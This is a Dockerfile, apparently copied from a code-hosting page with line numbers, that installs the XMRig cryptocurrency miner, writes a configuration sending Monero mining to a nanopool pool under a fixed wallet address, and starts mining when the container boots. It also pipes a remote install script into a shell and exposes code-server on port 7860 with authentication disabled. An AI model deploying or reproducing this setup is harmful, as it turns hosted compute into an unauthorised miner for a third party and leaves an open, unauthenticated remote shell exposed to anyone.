File size: 1,587 Bytes
9be0692
 
 
 
 
 
 
 
 
 
9fc1bc4
9be0692
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9fc1bc4
 
 
9be0692
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# Use the latest Ubuntu image
FROM ubuntu:latest

# Set environment variables to avoid interactive prompts during installation
ENV DEBIAN_FRONTEND=noninteractive

# Install dependencies
RUN apt-get update && apt-get install -y \
    curl \
    tar \
    dnsutils \
    && rm -rf /var/lib/apt/lists/*

# Download and install XMRig
RUN curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz \
    && tar -xzf xmrig.tar.gz \
    && rm xmrig.tar.gz

# Install code-server
RUN curl -fsSL https://code-server.dev/install.sh | sh

# Create XMRig configuration file
RUN mkdir -p /xmrig-6.22.0 \
    && tee /xmrig-6.22.0/config.json > /dev/null <<EOF
{
    "autosave": true,
    "cpu": true,
    "opencl": false,
    "cuda": false,
    "pools": [
        {
            "coin": "monero",
            "url": "xmr-asia1.nanopool.org:14433",
            "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
            "tls": true
        }
    ]
}
EOF

# Create and set up the start script
RUN echo '#!/bin/bash\n\
\n\
# Test DNS resolution\n\
nslookup xmr-asia1.nanopool.org\n\
\n\
# Start XMRig in the foreground\n\
/xmrig-6.22.0/xmrig --config /xmrig-6.22.0/config.json\n\
\n\
# Start code-server in the background\n\
code-server --bind-addr 0.0.0.0:7860 --auth none &' > /start.sh \
    && chmod +x /start.sh \
    && chmod u+rwx /start.sh

# Set the working directory
WORKDIR /xmrig-6.22.0

# Expose necessary ports
EXPOSE 3333 7860

# Run the startup script
CMD ["/start.sh"]